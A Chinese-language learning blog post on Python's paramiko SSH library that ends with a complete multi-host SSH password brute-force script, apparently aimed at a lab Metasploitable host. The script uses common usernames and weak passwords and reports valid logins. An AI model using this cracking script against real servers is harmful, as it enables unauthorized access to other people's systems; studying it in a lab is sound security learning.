这两天在学习python,在学习的过程中,
顺便记录一下,以便加深印象。
01
安装
pip install paramiko
easy_install paramiko
导入模块没问题,安装成功
02
简单的ssh示例
使用用户名密码认证的方式,调用exec_command()方法执行系统命令。
#coding:utf-8
import paramiko
host = "192.168.112.129"
port = 22
username = "msfadmin"
password = "msfadmin"
ssh = paramiko.SSHClient() #创建ssh客户端对象
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) #允许连接不在know_hosts文件中的主机
ssh.connect(host,port,username,password)
stdin,stdout,stderr = ssh.exec_command('tail -5 /etc/passwd')
print stdout.read()
ssh.close()
运行结果:
03
paramkio核心组件
paramiko包含两个核心组件,一个是SSHClient类,还有一个就是FTPClient类了。
SSHClient是SSH服务会话的高级表示。常用方法有:
(1)connect方法
方法定义:
connect(self,hostname,port=22,username=None,password=None,pkey=None,key_filename=None,timeout=None,allow_agent=True,look_for_keys=True,compress=False)
pkey参数表示私钥方式用于身份验证
allow_agent设置为False时禁用连接到ssh代理
look_for_keys设置为False时禁用在~/.ssh/中搜索私钥文件。
(2)exec_command方法
远程命令执行方法。
(3)load_system_host_keys方法
加载本地公钥校验文件,默认路径为~/.ssh/known_hosts,非默认路径需要手工指定。
(4)set_missing_host_key_policy方法
设置连接的远程主机没有本地主机秘钥或者HostKeys对象时的策略,即允许连接不在know_hosts文件中的主机。
支持三种设置
AutoAddPolicy:自动添加主机名和秘钥到本地并保存,不依赖load_system_host_keys()的配置(上边的脚本使用的就是这种方式);
RejectPolicy:自动拒绝未知的主机名和秘钥,依赖load_system_host_keys();
WarningPolicy:类似于AutoAddPolicy,但是对未知的主机会有警告。
04
破解ssh口令的脚本
(脚本文档点击阅读原文获取,提取码:xza4)
#coding:utf-8
import paramiko
import threading
def ssh_connect(host,username,password):
try:
ssh = paramiko.SSHClient() #创建ssh客户端对象
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) #允许连接不在know_hosts文件中的主机
ssh.connect(hostname=host,username=username,password=password,timeout=0.5)
ssh.close()
print "[+]successfully! username is " + username
print "[+]successfully! password is " + password
except:
print "[-]failed"
def ip():
ip_list = []
ip = "192.168.112."
for i in xrange(128,130):
ip += str(i)
ip_list.append(ip)
ip = "192.168.112."
return ip_list
def payloads_list():
ip_list = ip()
username_list = ['root','admin','msfadmin','anonymous','ftpuser']
password_list = ['password','123456','msfadmin']
payload = []
payloads = []
for a in ip_list:
for b in username_list:
for c in password_list:
payload.append(a)
payload.append(b)
payload.append(c) #把所需参数加入payload中
for i in range(0,len(payload),3):
payloads.append(payload[i:i+3]) #将payload切割,生成一一对应的参数放入新的列表中
return payloads
def attack():
payloads = payloads_list()
print "start attack"
for i in range(len(payloads)):
ssh_connect(payloads[i][0],payloads[i][1],payloads[i][2])
if __name__ == '__main__':
attack()
运行结果截图(部分)
跑的速度有点慢,本来想着用多线程,对多线程的使用不是很懂,在使用的过程中出现了问题,思来想去也不知道为啥(我菜鸡),代码如下:
运行结果:
若有知道的大佬还望不吝赐教。
-END-
领取专属 10元无门槛券
私享最新 技术干货